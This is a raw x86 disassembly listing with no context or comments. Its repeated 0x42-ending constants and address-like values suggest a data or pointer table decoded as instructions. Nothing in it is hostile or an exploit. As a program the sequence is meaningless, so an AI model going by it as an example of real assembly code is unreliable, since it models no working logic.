add byte [edx + 0x190042b5], bl
mov ch, 0x42
add byte [esi], cl
mov dh, 0x42
add byte [esi + esi*4], dl
inc edx
add byte [ebp - 0x4a], dl
inc edx
add byte [ebx - 0x4a], ah
inc edx
add byte [esi], ch
mov dh, 0x42
add byte [edx], dl
mov eax, 0xb81e0042
inc edx
add byte [ecx + edi*4 - 0x47afffbe], dh
inc edx
add byte [eax - 0x70ffbd47], bl
mov eax, 0xb9920042
inc edx
add ah, dh
mov eax, 0xb97e0042
mov ecx, 0xbb730042
mov ecx, 0xbb730042
inc edx
add al, dl
mov ah, 0x42
add byte [ebx - 0x4f], dh
inc edx
add al, dl
mov ah, 0x42
add al, dl
mov ah, 0x42
add al, dl
mov ah, 0x42
add byte [esi - 0x47], bh
inc edx
add byte [eax - 0x4f], ah
inc edx
add byte [ecx + 0x7c0042b1], bl
mov dl, 0x42
add byte [esi], al
mov dl, 0x42
add al, dh
mov cl, 0x42
add byte [eax - 0x4e], al
inc edx
add byte [eax - 0x4e], al
inc edx
add byte [eax - 0x4e], al
inc edx
add byte [edx - 0x4e], al
inc edx
add byte [eax - 0x4e], al
inc edx
add byte [0xdf0042b3], bl
mov dl, 0x42
add al, al
mov dl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [edx], dl
mov bl, 0x42
add byte [0xcc0042b3], bl
mov dl, 0x42
add byte [ebx], ch
mov bl, 0x42
add byte [ecx], bh
mov bl, 0x42
add dl, dl
mov bl, 0x42
add al, bl
mov bl, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], ch
mov bl, 0x42
add byte [edx + 0x600042b4], ch
mov cl, 0x42
add byte [eax - 0x6fffbd47], dl
mov ecx, 0xb9920042
inc edx
add byte [eax - 0x8ffbd47], dl
mov ah, 0x42
add byte [eax - 0x5cffbd47], bl
mov ecx, 0xb9b40042
inc edx
add byte [0xd60042ba], ah
mov ah, 0x42
add dh, ah
mov ah, 0x42
add byte [ebp - 0x46], al
inc edx
add bh, bh
mov edx, 0xbb0f0042
inc edx
add al, ah
mov esi, 0xbee00042
inc edx
add al, ah
mov esi, 0xbee20042
inc edx
add byte [ebx + ecx*8 + 0x42], al
add cl, dh
mov esi, 0xcb4a0042
inc edx
add byte [eax - 0x35], dl
inc edx
add byte [eax + eax*8 - 0x3f6cffbe], cl
inc edx
add byte [0xb60042c1], bl
rol byte [edx], 0xa
rol dword [edx], 0xe6
rol byte [edx], 0xa
rol dword [edx], 0xd6
les eax, [edx]
sbb ch, al
inc edx
add byte [eax], al
mov byte [edx], 0
mov byte [edx], 0x82
mov byte [edx], 0x9c
mov byte [edx], 0xa9
mov byte [edx], 0xa9
mov byte [edx], 0xb4
enter 0x42, 0xffffffffffffffeb
les eax, [edx]
adc al, ch
inc edx
add byte [edi - 0x36], cl
inc edx
add byte [esi], dl
leave
inc edx
add byte [ecx], al
retf 0x42